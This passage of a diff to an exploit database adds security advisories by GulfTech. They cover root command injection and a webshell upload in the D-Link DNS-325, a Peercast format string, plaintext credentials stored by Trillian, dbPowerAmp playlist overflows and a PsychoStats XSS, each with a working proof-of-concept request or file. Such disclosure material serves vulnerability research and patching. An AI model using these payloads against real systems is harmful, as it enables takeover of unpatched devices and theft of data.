return THISISAREDIRECT(v1, "web/maintenance/test_mail_result.asp");
|
||||
}
|
||||
|
||||
As can be seen in the above psuedo code, the form data passed to the goForm
|
||||
endpoint is never sanitized, and then used directly in a system call. This
|
||||
can be leveraged by an unauthenticated remote attacker to execute code as
|
||||
root and take complete control of the device.
|
||||
|
||||
--[ 01.2 - Remote exploitation
|
||||
|
||||
Exploiting this issue is trivial, and can be achieved by simply sending a
|
||||
post request containing a command injection string within one of the fields
|
||||
that are affected to the "/goform/Mail_Test" endpoint. I achieved this by
|
||||
sending a post request with the following data.
|
||||
|
||||
f_smtpserver=;touch /tmp/gulftech;
|
||||
|
||||
The above post request successfully creates the file named "gulftech"
|
||||
within the /tmp directory as the root user.
|
||||
|
||||
|
||||
--[ 02 - Credit
|
||||
|
||||
James Bercegay
|
||||
GulfTech Research and Development
|
||||
|
||||
|
||||
--[ 03 - Proof of concept
|
||||
|
||||
We strive to do our part to contribute to the security community.
|
||||
Metasploit modules for issues outlined in this paper can be found online.
|
||||
|
||||
|
||||
--[ 04 - Solution
|
||||
|
||||
D-Link were notified of these issues June of last year. No update has been
|
||||
released publicly.
|
||||
|
||||
|
||||
--[ 05 - Contact information
|
||||
|
||||
Web
|
||||
https://gulftech.org/
|
||||
|
||||
Mail
|
||||
security@gulftech.org
|
||||
|
||||
|
||||
Copyright 2018 GulfTech Research and Development. All rights reserved.
|
369
exploits/php/webapps/43846.txt
Normal file
369
exploits/php/webapps/43846.txt
Normal file
|
@ -0,0 +1,369 @@
|
|||
D-Link DNS-325 ShareCenter Multiple Vulnerabilities
|
||||
|
||||
Vendor: D-Link
|
||||
Product: D-Link DNS-325 ShareCenter
|
||||
Version: <= 1.05B03
|
||||
Website: http://sharecenter.dlink.com/products/DNS-325
|
||||
|
||||
|
||||
###########################################################################
|
||||
______ ____________ __
|
||||
/ ____/_ __/ / __/_ __/__ _____/ /_
|
||||
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
|
||||
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
|
||||
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
|
||||
|
||||
GulfTech Research and Development
|
||||
|
||||
###########################################################################
|
||||
# D-Link DNS-325 ShareCenter <= 1.05B03 Multiple Vulnerabilities #
|
||||
###########################################################################
|
||||
|
||||
|
||||
Released Date: 2017-01-15
|
||||
Last Modified: 2017-06-22
|
||||
Company Info: D-Link
|
||||
Version Info:
|
||||
Vulnerable
|
||||
D-Link DNS-325 ShareCenter <= 1.05B03
|
||||
|
||||
|
||||
--[ Table of contents
|
||||
|
||||
00 - Introduction
|
||||
00.1 Background
|
||||
|
||||
01 - Unrestricted File Upload
|
||||
01.1 - Vulnerable code analysis
|
||||
01.2 - Remote exploitation
|
||||
|
||||
02 - Command Injection
|
||||
02.1 - Vulnerable code analysis
|
||||
02.2 - Remote exploitation
|
||||
|
||||
03 - Credit
|
||||
|
||||
04 - Proof of concept
|
||||
|
||||
05 - Solution
|
||||
|
||||
06 - Contact information
|
||||
|
||||
|
||||
--[ 00 - Introduction
|
||||
|
||||
The purpose of this article is to detail the research that I have recently
|
||||
completed regarding the D-Link DNS 325 ShareCenter.
|
||||
|
||||
--[ 00.1 - Background
|
||||
|
||||
D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to
|
||||
use solution for accessing, sharing and backing up your important data.
|
||||
|
||||
|
||||
--[ 01 - Unrestricted file upload
|
||||
|
||||
The DNS-325 is vulnerable to the same file upload issue as the DNS-320L.
|
||||
The vulnerable code can be found within the following file:
|
||||
|
||||
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php
|
||||
|
||||
The root of the problem here is due to the misuse and misunderstanding of
|
||||
the PHP gethostbyaddr() function used within PHP, by the developer of this
|
||||
particular piece of code. From the PHP manual this functions return values
|
||||
are defined as the following for gethostbyaddr():
|
||||
|
||||
"Returns the host name on success, the unmodified ip_address on failure, or
|
||||
FALSE on malformed input."
|
||||
|
||||
With a brief overview of the problem, let's have a look
|
||||
at the offending code in order to get a better understanding of what is
|
||||
going on with this particular vulnerability.
|
||||
|
||||
--[ 01.1 - Vulnerable code analysis
|
||||
|
||||
Below is the code from the vulnerable "multi_uploadify.php" script. You can
|
||||
see that we have annoted the code to explain what is happening.
|
||||
|
||||
#BUG 01: Here the attacker controlled "Host" header is used to define the
|
||||
remote auth server. This is by itself really bad, as an attacker could
|
||||
easily just specify that the host be the IP address of a server that they
|
||||
are in control of. But, if we send it an invalid "Host" header it will just
|
||||
simply return FALSE as defined in the PHP manual.
|
||||
|
||||
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
|
||||
$name = $_REQUEST['name'];
|
||||
$pwd = $_REQUEST['pwd'];
|
||||
$redirect_uri = $_REQUEST['redirect_uri'];
|
||||
|
||||
//echo $name ."
|
||||
".$pwd."
|
||||
".$ip;
|
||||
|
||||
#BUG 02: At this point, this request should always fail. The $result
|
||||
variable should now be set to FALSE.
|
||||
|
||||
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
|
||||
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
|
||||
|
||||
#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
|
||||
value of FALSE.
|
||||
|
||||
$result_1 = strstr($result,"0");
|
||||
$result_1 = substr ($result_1, 0,28);
|
||||
|
||||
#BUG 04: The strncmp() call here is a strange one. It looks for a specific
|
||||
login failure. So, it never accounts for when things go wrong or slightly
|
||||
unexpected. As a result this "if" statement will always be skipped.
|
||||
|
||||
if (strncmp ($result_1,"0",28) == 0 )
|
||||
//if (strstr($result,"0")== 0 )
|
||||
{
|
||||
header("HTTP/1.1 302 Found");
|
||||
header("Location: ".$redirect_uri."?status=0");
|
||||
exit();
|
||||
}
|
||||
|
||||
#BUG 05: At this point all checks have been passed, and an attacker can use
|
||||
this issue to upload any file to the server that they want.
|
||||
|
||||
The rest of the source code was omitted for the sake of breivity, but it
|
||||
just handles the file upload logic once the user passes the authentication
|
||||
checks.
|
||||
|
||||
--[ 01.2 - Remote exploitation
|
||||
|
||||
Exploiting this issue to gain a remote shell as root is a rather trivial
|
||||
process. All an attacker has to do is send a post request that contains a
|
||||
file to upload using the parameter "Filedata[0]", a location for the file
|
||||
to be upload to which is specified within the "folder" parameter, and of
|
||||
course a bogus "Host" header.
|
||||
|
||||
We have written a Metasploit module to exploit this issue. The module will
|
||||
use this vulnerability to upload a PHP webshell to the "/var/www/"
|
||||
directory. Once uploaded, the webshell can be executed by requesting a URI
|
||||
pointing to the backdoor, and thus triggering the payload.
|
||||
|
||||
|
||||
--[ 02 - Command Injection
|
||||
|
||||
There are a number of issues with the CGI's contained within the DNS-325
|
||||
file structure. The issues that we came across over and over were lack of
|
||||
authentication, as well as command injection. We will examine one of these
|
||||
issues, and leave the others as an excercise to the reader.
|
||||
|
||||
|
||||
--[ 02.1 - Vulnerable code analysis
|
||||
|
||||
The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight
|
||||
forward command injection issue when calling the "cgi_set_airplay_device"
|
||||
function.
|
||||
|
||||
size_t cgi_set_airplay_device()
|
||||
{
|
||||
int v0; // r4@3
|
||||
size_t v1; // r0@3
|
||||
const char *v2; // r0@3
|
||||
FILE *v3; // r5@5
|
||||
char *v4; // r0@6
|
||||
int v5; // r4@7
|
||||
signed int v6; // r6@7
|
||||
size_t result; // r0@13
|
||||
FILE *v8; // r4@11
|
||||
int v9; // [sp+10h] [bp-C84h]@1
|
||||
int v10; // [sp+410h] [bp-884h]@1
|
||||
int v11; // [sp+610h] [bp-684h]@1
|
||||
int v12; // [sp+810h] [bp-484h]@1
|
||||
char s; // [sp+A10h] [bp-284h]@1
|
||||
char v14; // [sp+B10h] [bp-184h]@1
|
||||
char v15; // [sp+B50h] [bp-144h]@1
|
||||
char v16; // [sp+B90h] [bp-104h]@1
|
||||
signed int v17; // [sp+B94h] [bp-100h]@2
|
||||
signed int v18; // [sp+B98h] [bp-FCh]@2
|
||||
signed int v19; // [sp+B9Ch] [bp-F8h]@2
|
||||
int v20; // [sp+BA0h] [bp-F4h]@2
|
||||
__int16 v21; // [sp+BA4h] [bp-F0h]@15
|
||||
char v22; // [sp+BA6h] [bp-EEh]@15
|
||||
char v23; // [sp+BD0h] [bp-C4h]@1
|
||||
char v24; // [sp+C10h] [bp-84h]@1
|
||||
int v25; // [sp+C50h] [bp-44h]@1
|
||||
int v26; // [sp+C54h] [bp-40h]@1
|
||||
char dest[4]; // [sp+C58h] [bp-3Ch]@1
|
||||
int v28; // [sp+C5Ch] [bp-38h]@1
|
||||
int v29; // [sp+C60h] [bp-34h]@1
|
||||
int *v30; // [sp+C64h] [bp-30h]@1
|
||||
|
||||
memset(&s, 0, 0x100u);
|
||||
memset(&v12, 0, 0x200u);
|
||||
memset(&v24, 0, 0x40u);
|
||||
memset(&v23, 0, 0x40u);
|
||||
memset(&v11, 0, 0x200u);
|
||||
v30 = 0;
|
||||
memset(&v9, 0, 0x400u);
|
||||
*(_DWORD *)dest = 0;
|
||||
v28 = 0;
|
||||
memset(&v10, 0, 0x200u);
|
||||
v25 = 0;
|
||||
v26 = 0;
|
||||
memset(&v16, 0, 0x40u);
|
||||
memset(&v15, 0, 0x40u);
|
||||
memset(&v14, 0, 0x40u);
|
||||
cgiFormString("dev_name", &s, 256);
|
||||
cgiFormString("dev_type", &v24, 64);
|
||||
cgiFormString("dev_pw", &v23, 64);
|
||||
cgiFormString("type", &v25, 8);
|
||||
v30 = &v12;
|
||||
v29 = 512;
|
||||
printf_out("dev_name=[%s]\n", &s);
|
||||
printf_out("dev_type=[%s]\n", &v24);
|
||||
printf_out("dev_pw=[%s]\n", &v23);
|
||||
printf_out("type=[%s]\n", &v25);
|
||||
if ( !strcmp((const char *)&v25, "photo") )
|
||||
{
|
||||
LOBYTE(v20) = 0;
|
||||
*(_DWORD *)&v16 = 1886221359;
|
||||
v17 = 1919508783;
|
||||
v18 = 2036427888;
|
||||
v19 = 1819113518;
|
||||
}
|
||||
else
|
||||
{
|
||||
*(_DWORD *)&v16 = 1886221359;
|
||||
v17 = 'ria/';
|
||||
v18 = 2036427888;
|
||||
v19 = 1685414239;
|
||||
v20 = 2016309097;
|
||||
v22 = 0;
|
||||
v21 = 'lm';
|
||||
}
|
||||
v0 = 0;
|
||||
sprintf((char *)&v11, "rm -f %s", &v16);
|
||||
system((const char *)&v11);
|
||||
v1 = strlen(&s);
|
||||
v2 = (const char *)escape_label(&s, v1, &v30, &v29);
|
||||
cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);
|
||||
sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/
|
||||
null", &v9, &v24, &v23);
|
||||
printf_out("[%s]\n", &v11);
|
||||
system((const char *)&v11);
|
||||
printf_out("filename[%s]\n", &v16);
|
||||
while ( 1 )
|
||||
{
|
||||
++v0;
|
||||
v3 = (FILE *)fopen64(&v16, "r");
|
||||
if ( v3 )
|
||||
break;
|
||||
printf_out("wait[%d]\n");
|
||||
sleep(1u);
|
||||
if ( v0 == 30 )
|
||||
{
|
||||
v6 = (signed int)v3;
|
||||
goto LABEL_9;
|
||||
}
|
||||
}
|
||||
fgets(&v15, 512, v3);
|
||||
fgets(&v15, 512, v3);
|
||||
fgets(&v15, 512, v3);
|
||||
fgets(&v14, 512, v3);
|
||||
v4 = index(&v14, 62);
|
||||
if ( v4 )
|
||||
{
|
||||
v5 = (int)(v4 + 1);
|
||||
v6 = 1;
|
||||
*index(v4 + 1, 60) = 0;
|
||||
strcpy(dest, v4 + 1);
|
||||
printf_out("res[%s]\n", v5);
|
||||
}
|
||||
else
|
||||
{
|
||||
v6 = 0;
|
||||
}
|
||||
fclose(v3);
|
||||
LABEL_9:
|
||||
sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);
|
||||
if ( dest[0] == 48 && !dest[1] )
|
||||
{
|
||||
v8 = (FILE *)fopen64(&v16, "w+");
|
||||
fwrite("", 1u, 0x26u, v8);
|
||||
sprintf(
|
||||
(char *)&v10,
|
||||
"%s",
|
||||
&s,
|
||||
&v24,
|
||||
&v23);
|
||||
fputs((const char *)&v10, v8);
|
||||
fclose(v8);
|
||||
}
|
||||
cgiHeaderContentType("text/xml");
|
||||
fwrite("", 1u, 0x26u, (FILE *)
|
||||
cgiOut);
|
||||
if ( v6 == 1 )
|
||||
{
|
||||
result = fprintf((FILE *)cgiOut, "%s",
|
||||
dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
system("kill `pidof airplay_daemon`");
|
||||
result = fwrite("timeout", 1u, 0x25u,
|
||||
(FILE *)cgiOut);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
As we can see in the above psuedo code parameters taken from form input are
|
||||
use directly within a system call without being sanitized. This can be
|
||||
leveraged by an attacker to execute arbitrary commands as root.
|
||||
Authentication is not required to exploit this issue.
|
||||
|
||||
--[ 02.2 - Remote exploitation
|
||||
|
||||
Exploiting this issue is trivial. Authentication is not required to
|
||||
successfully exploit this issue and gain a remote root shell.
|
||||
|
||||
|
||||
POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
|
||||
Host: 192.168.0.10
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 62
|
||||
|
||||
cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;"
|
||||
|
||||
|
||||
Simply sending a post request like the one above will successfully create a
|
||||
file named "gulftech" in the /tmp directory as root.
|
||||
|
||||
--[ 03 - Credit
|
||||
|
||||
James Bercegay
|
||||
GulfTech Research and Development
|
||||
|
||||
|
||||
--[ 04 - Proof of concept
|
||||
|
||||
We strive to do our part to contribute to the security community.
|
||||
Metasploit modules for issues outlined in this paper can be found online.
|
||||
|
||||
|
||||
--[ 05 - Solution
|
||||
|
||||
D-Link were notified of these issues June of last year. No update has been
|
||||
released publicly.
|
||||
|
||||
|
||||
--[ 06 - Contact information
|
||||
|
||||
Web
|
||||
https://gulftech.org/
|
||||
|
||||
Mail
|
||||
security@gulftech.org
|
||||
|
||||
|
||||
Copyright 2018 GulfTech Research and Development. All rights reserved.
|
32
exploits/windows/dos/43826.txt
Normal file
32
exploits/windows/dos/43826.txt
Normal file
|
@ -0,0 +1,32 @@
|
|||
Peercast Format String Vulnerability
|
||||
|
||||
Vendor: peercast.org
|
||||
Product: Peercast
|
||||
Version: <= 0.1211
|
||||
Website: http://www.peercast.org/
|
||||
|
||||
BID: 13808
|
||||
CVE: CVE-2005-1806
|
||||
OSVDB: 16906
|
||||
SECUNIA: 15536
|
||||
PACKETSTORM: 39355
|
||||
|
||||
Description:
|
||||
Peercast is a popular p2p streaming media server (similar to shoutcast). There is a serious security issue in peercast versions 0.1211 and earlier that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast (usually administrator) or crash the vulnerable server. There is an updated version of peercast available and all users should upgrade as soon as possible.
|
||||
|
||||
|
||||
Format String Vulnerability:
|
||||
There is a very dangerous format string issue in peercast that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast or crash the vulnerable server. Below is an example of how this vulnerability can be exploited to crash a vulnerable server.
|
||||
|
||||
http://localhost:7144/html/en/index.htm%n
|
||||
|
||||
The problem occurs because of the way some error messages are handled. For example in the above example the peercast server receives a malformed request, so the error routine printed the URL, but the error print routine (because it was a printf type function call) then tries to parse the malicious url.
|
||||
|
||||
|
||||
Solution:
|
||||
Thanks to Giles from Peercast for fixing this issue fast and releasing a patch in just a few hours. Now that is a quick turn around!
|
||||
http://www.peercast.org/forum/viewtopic.php?p=11596
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
39
exploits/windows/local/43799.txt
Normal file
39
exploits/windows/local/43799.txt
Normal file
|
@ -0,0 +1,39 @@
|
|||
Trillian Pro Design Error
|
||||
|
||||
Vendor: Cerulean Studios
|
||||
Product: Trillian Pro
|
||||
Version: <= 2.01
|
||||
Website: http://www.ceruleanstudios.com
|
||||
|
||||
|
||||
Description:
|
||||
Trillian is a multinetwork chat client that currently supports mIRC, AIM, ICQ, MSN, and Yahoo Messenger. It supports docking, multiline edit boxes, buddy alerts, multiple connections to the same medium, a powerful skinning language, easy importing of your existing contacts, skinnable emoticons, logging, global away/invisible features, and a unified contact list. It has a direct connection for AIM, support for user profiles, complete type formatting, buddy icons, proxy support, emotisounds, encrypted instant messaging to ICQ and AIM, AIM group chats, and shell extensions for file transfers.
|
||||
|
||||
Problem:
|
||||
Lets say you use Trillian to connect to Yahoo Instant Messenger. By default Trillian will pop up a window telling you that your Yahoo email account has new mail (if and when it does) If you click the link provided in the window you will notice that first it takes you to a HTML page created on your hard drive, that then sends a requests to Yahoo to log you in. For example:
|
||||
|
||||
C:\Program Files\Trillian\users\default\cache\sfd0.html
|
||||
|
||||
And if you open up this file in any type of text editor or the like you will clearly see the credentials in plaintext.
|
||||
|
||||
<script>
|
||||
<!--
|
||||
var username;
|
||||
username='plaintextusernamehere';
|
||||
var password;
|
||||
password='plaintextpasswordhere';
|
||||
function submit () {
|
||||
document.getElementById('login').value=username;
|
||||
document.getElementById('passwd').value=password;
|
||||
document.getElementById('login_form').submit();
|
||||
};
|
||||
//-->
|
||||
</script>
|
||||
|
||||
I have not spent a great deal of time looking into this matter, as it is of little interest to me, but what I have noticed is that this file is not deleted until Trillian is shut down. In the case of abnormal program termination, such as a crash the file may still be there. This file can be accessed by lower level users in most cases, and totally leaves the Yahoo credentials open to theft. This may also be the case with other accounts etc, but like I said I have not looked into it much. Just wanted to make aware of this as a great number of people use Yahoo for money, and business purposes as well as personal use.
|
||||
|
||||
Solution:
|
||||
I contacted Cerulean Studios a week or two ago about this, but I have not heard back from them at all. I would suggest not using this particular feature or shredding the temp file at best after logging in if you REALLY insist on using this feature. But that doesnt stop the credentials from being passed over the network in plaintext ... I imagine the guys at Cerulean Studios get swamped with emails, thus the no reply.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
87
exploits/windows/local/43816.txt
Normal file
87
exploits/windows/local/43816.txt
Normal file
|
@ -0,0 +1,87 @@
|
|||
dbPowerAmp Buffer Overflow
|
||||
|
||||
Vendor: Illustrate
|
||||
Product: dbPowerAmp
|
||||
Version: <= 2.0/10.0
|
||||
Website: http://www.dbpoweramp.com
|
||||
|
||||
BID: 11266
|
||||
CVE: CVE-2004-1569
|
||||
OSVDB: 10380 11126 11127
|
||||
SECUNIA: 12684
|
||||
PACKETSTORM: 34531
|
||||
|
||||
Description:
|
||||
Often called the Swiss Army knife of audio, dMC can digitally rip sound from audio CDs to a multitude of formats. Convert from one format to another while preserving ID tags. Nearly every audio type is supported, including MP3, MP4, Windows Media Audio (WMA), OGG Vorbis, AAC, Monkey's Audio, and FLAC (with optional installs from Codec Central). For Windows Explorer integration, right-click Convert To to pop up useful information on audio files (such as bit rate and length). Record from LPs with an optional Auxiliary Input install. dBpowerAmp Audio Player (dAP) has a digital conditioning equalizer and an advanced music collection. It's skinnable and has a cross-fader, a playlist editor, and a tag editor. dAP plays MP3s, WMA, Ogg Vorbis, Monkeys Audio, Real Audio, WAV, MIDI, and many more.
|
||||
|
||||
Arbitrary Code Execution:
|
||||
Both the very popular dbPowerAmp Music Converter application, as well as the dbPowerAmp Player are prone to buffer overflow conditions. These issues affect current and earlier versions of the dbPowerAmp Player and Music Converter. In my research I have only tested the vulnerabilities with .pls and .m3u playlists, but I think the same issues are probably present with other file types as well as other dbPowerAmp applications. The Music Converter application allocates a 215 byte buffer for the file name within the playlist. By opening a playlist like the one below will overflow this buffer and overwrite EIP with \x42\x42\x42\x42
|
||||
|
||||
|
||||
[playlist]
|
||||
NumberOfEntries=1
|
||||
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB
|
||||
Title1=GulfTech dbPowerAmp Music Converter POC
|
||||
Length1=-1
|
||||
|
||||
|
||||
|
||||
The same issue applies to the player and playlist editor, however the buffer length with those applications (both are included with the player, not the converter) is not 215 bytes, but 265 bytes. So in short
|
||||
|
||||
|
||||
MusicConverter.exe 215 bytes To EIP
|
||||
playlist.exe 265 bytes to EIP
|
||||
amp.exe 265 bytes to EIP
|
||||
|
||||
|
||||
|
||||
I believe these buffer overflow vulnerabilities to be the result of an unsafe strncmp() but I could be wrong ;) The same buffer overflow condition can also present itself when loading .mcc files which are the dbPowerAmp Music Collection files. There is also a pretty bad Denial Of Service condition that can happen with dbPowerAmp Music Converter that I will talk about next.
|
||||
|
||||
Denial Of Service:
|
||||
dbPowerAmp Music Converter has an option to integrate into the Windows shell. As a longtime dbPowerAmp Music Converter user I do find this feature very helpful, but it can also allow for an attacker to crash the Windows shell by sending them a malformed playlist. They do not have to open the playlist or anything, just mouseover it. I tested this issue on Windows XP SP1 Fully Patched. To see this issue in action just use the following example playlist and mouse over it.
|
||||
|
||||
|
||||
[playlist]
|
||||
NumberOfEntries=1
|
||||
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
Title1=GulfTech dbPowerAmp Music Converter Crash POC
|
||||
Length1=-1
|
||||
|
||||
|
||||
|
||||
The large filename entry in the playlist will overwrite EDI with junk and then cause an access violation. This will then cause explorer to crash.
|
||||
|
||||
Note:
|
||||
Remember, the examples above are wrapped for readability. If you want to use them to test if you are vulnerable then you should remove all of the newlines in the file name.
|
||||
|
||||
|
||||
Solution:
|
||||
The developer said that they would address these issues, but do not consider them high priority. Hmm, code execution via a malformed file is definitely not low priority in my book.
|
||||
|
||||
|
||||
Proof Of Concept:
|
||||
Working exploit code may be released soon, but not at the moment due to time constraints.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
35
exploits/windows/local/43817.txt
Normal file
35
exploits/windows/local/43817.txt
Normal file
|
@ -0,0 +1,35 @@
|
|||
PsychoStats Cross Site Scripting
|
||||
|
||||
Vendor: Jason Morriss
|
||||
Product: PsychoStats
|
||||
Version: <= 2.2.4 Beta
|
||||
Website: http://www.psychostats.com/
|
||||
|
||||
BID: 12089
|
||||
CVE: CVE-2004-1417
|
||||
OSVDB: 12560
|
||||
SECUNIA: 13619
|
||||
PACKETSTORM: 35502
|
||||
|
||||
Description:
|
||||
PsychoStats is a statistics generator for games. Currently there is support for a handful of Half-Life "MODs" including Counter-Strike, Day of Defeat, and Natural Selection. PsychoStats gathers statistics from the log files that game servers create by reading through the logs and then calculating detailed statistics for players, maps, weapons and clans. These detailed statistics are stored in a MySQL database which are then viewed online from your website using a set of PHP web pages. There are some complaints out there in the community that do not like the fact that PsychoStats does not provide 'real time' game statistics. The fact is, providing 'real time', accurate and detailed statistics is a hard issue to overcome. Some game statistic generators out there that provide 'real time' statistics simply do not have the same amount of detailed information that PsychoStats has. And they usually only provide very basic 'kill' statistics. Ignoring detailed 'map' and 'clan' statistics. PsychoStats may not be real time, but it works very close to it. As data is stored in a mysql database old logs that were scanned previously do not need to be scanned again, which makes for much faster updates then the old v1.x of PsychoStats. And the data provided by PsychoStats is very detailed.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
Cross site scripting exists in Jason Morriss PsychoStats. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
|
||||
|
||||
http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E
|
||||
|
||||
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.
|
||||
|
||||
|
||||
Solution:
|
||||
The vendor was contacted, responded very promptly and said he will be addressing the issue soon and has released an updated version of the software.
|
||||
|
||||
http://www.psychostats.com/forums/viewtopic.php?t=11022
|
||||
|
||||
You can find directions on how to install the patch at the link listed above. Users should upgrade as soon as they can.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
|
@ -5256,6 +5256,8 @@ id,file,description,date,author,type,platform,port
|
|||
43720,exploits/windows/dos/43720.js,"Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read",2018-01-17,"Google Security Research",dos,windows,
|
||||
43723,exploits/windows/dos/43723.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy",2018-01-17,"Google Security Research",dos,windows,
|
||||
43776,exploits/hardware/dos/43776.py,"Smiths Medical Medfusion 4000 - 'DHCP' Denial of Service",2018-01-18,"Scott Gayou",dos,hardware,
|
||||
43780,exploits/macos/dos/43780.c,"macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability'",2018-01-19,"Google Security Research",dos,macos,
|
||||
43826,exploits/windows/dos/43826.txt,"Peercast < 0.1211 - Format String",2015-05-28,"GulfTech Security",dos,windows,
|
||||
40570,exploits/osx/dos/40570.py,"The Unarchiver 3.11.1 - '.tar.Z' Crash (PoC)",2016-10-18,"Antonio Z.",dos,osx,
|
||||
40592,exploits/windows/dos/40592.py,"SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service",2016-10-20,ERPScan,dos,windows,
|
||||
40593,exploits/windows/dos/40593.py,"SAP Adaptive Server Enterprise 16 - Denial of Service",2016-10-20,ERPScan,dos,windows,
|
||||
|
@ -9164,6 +9166,9 @@ id,file,description,date,author,type,platform,port
|
|||
40528,exploits/windows/local/40528.txt,"Hotspot Shield 6.0.3 - Unquoted Service Path Privilege Escalation",2016-10-13,Amir.ght,local,windows,
|
||||
40533,exploits/windows/local/40533.txt,"NO-IP DUC 4.1.1 - Unquoted Service Path Privilege Escalation",2016-10-14,"Ehsan Hosseini",local,windows,
|
||||
40535,exploits/windows/local/40535.txt,"Wondershare PDFelement 5.2.9 - Unquoted Service Path Privilege Escalation",2016-10-14,"Saeed Hasanzadeh",local,windows,
|
||||
43799,exploits/windows/local/43799.txt,"Trillian Pro < 2.01 - Design Error",2004-03-01,"GulfTech Security",local,windows,
|
||||
43816,exploits/windows/local/43816.txt,"dbPowerAmp < 2.0/10.0 - Buffer Overflow",2014-09-27,"GulfTech Security",local,windows,
|
||||
43817,exploits/windows/local/43817.txt,"PsychoStats < 2.2.4 Beta - Cross Site Scripting",2014-12-22,"GulfTech Security",local,windows,
|
||||
40538,exploits/windows/local/40538.txt,"Graylog Collector 0.4.2 - Unquoted Service Path Privilege Escalation",2016-10-14,"Joey Lane",local,windows,
|
||||
40540,exploits/windows/local/40540.txt,"NETGATE AMITI Antivirus 23.0.305 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows,
|
||||
40541,exploits/windows/local/40541.txt,"NETGATE Data Backup build 3.0.605 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows,
|
||||
|
@ -13848,7 +13853,7 @@ id,file,description,date,author,type,platform,port
|
|||
